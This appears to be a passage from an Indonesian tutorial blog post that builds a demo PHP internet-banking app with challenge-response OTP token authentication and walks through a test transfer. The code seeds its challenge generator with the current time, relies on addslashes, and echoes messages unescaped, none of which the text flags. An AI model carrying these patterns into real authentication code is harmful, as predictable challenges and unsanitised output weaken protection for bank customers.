<?php if (isset($err)) echo "<font color=red><B>$err</b></font>"; ?>
<form method="post" action="">
<table border=1>
<tr>
 <td>Username</td>
 <td><input type="text" name="username" /></td>
</tr>
<tr>
 <td>Token PIN:</td>
 <td><input type="text" name="pin" /></td>
</tr>
<tr>
 <td colspan=2 align=center><input type="submit" name="login" value="Login" /></td>
</tr>
</table>
</form>
</body>
</html>
Di bawah ini adalah source untuk file transfer.php. Untuk melakukan otentikasi server memanggil fungsi checkCR() pada baris ke-13. Fungsi checkCR ini membutuhkan init secret, challenge yang diambil dari session. Kemudian server akan memberikan pesan “Transfer Success” atau “Wrong PIN” tergantung dari hasil fungsi checkCR().
Pada baris ke-21 dan ke-22 server membangkitkan nilai acak sepanjang 4 digit sebagai challenge. Challenge ini disimpan dalam session agar tidak bisa dimanipulasi user. Bila challenge disimpan sebagai hidden field dalam form, maka user bisa bebas mengubah isi challenge itu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
session_start();
include("initdb.php");
include("lib.php");
if (!isset($_SESSION["initsecret"])) {
 header("Location: login.php");
}
if (isset($_POST["login"])) {
 $username = addslashes($_POST["username"]);
 $pin = addslashes($_POST["pin"]);
 $initsecret = $_SESSION["initsecret"];
 $challenge = $_SESSION["challenge"];
 $success = checkCR($challenge,$pin,$initsecret);
 
 if ($success) {
  $msg = "<font color=green>Transfer Success</font>";
 } else {
  $msg = "<font color=red>Wrong PIN</font>";
 }
} 
srand(time());
$challenge = sprintf("%04d",(rand()%9999));
$_SESSION["challenge"] = $challenge;
 
?>
<html>
<body>
<?php if (isset($msg)) echo "<B>$msg</b>"; ?>
<h1>Transfer Form</h1>
<form method="post" action=""> 
No Rekening Tujuan: <input type="text" name="norek" /><br/>
Jumlah: Rp. <input type="text" name="jumlah" /><br/>
Challenge Code: <?= $challenge ?><i>(Masukkan kode ini ke dalam token anda)</i><br/>
Token PIN : <input type="text" name="pin" /><i>(Masukkan response dari token anda)</i><br/>
<input type="submit" name="login" value="Transfer" /><br/>
</form>
</body>
</html>
Anda bisa mendownload semua source php di sini.
Test
Sebelum mencoba pertama saya harus menyamakan jam di token (handphone) dengan jam di server. Setelah sama baru kita uji coba aplikasi ini dengan skenario berikut:
Nasabah myTestBank ingin memakai aplikasi internet banking myTestBank untuk mentransfer sejumlah uang. Untuk itu dia baru saja mendownload Midlet Token dan menginstallnya ke HPnya. Token midlet tersebut diinisialisasi dengan nilai init secret 369e4a62be0e579a. Setelah mendaftar user tersebut mendapat username rizki. Untuk menggunakan fasilitas ini dia harus membuka browser ke URL https://localhost/mytestbank/login.php .
Selain menyamakan jam di token dan di server, init secret di token dan di server harus sama. Gambar di bawah ini menunjukkan bahwa init secret di hape saya sudah sama dengan yang di tabel users MySQL.
initsecret-server-token
Kini user sudah siap mencoba untuk login ke aplikasi MyTestBank di URL https://localhost/mytestbank/login.php . Berikut ini adalah screen capture ketika user login.
loginotp
Setelah login berhasil, kemudian user dihadapkan pada form untuk melakukan transfer uang. Berikut ini adalah screen shot pada browser dan hp user ketika user melakukan transfer.
transferformOTP
Setelah memasukkan OTP dengan benar, server memberikan informasi “Transfer Success”. Kini user telah berhasil melakukan transfer. Berikut adalah screenshot ketika transfer berhasil dilakukan.
transfersuccess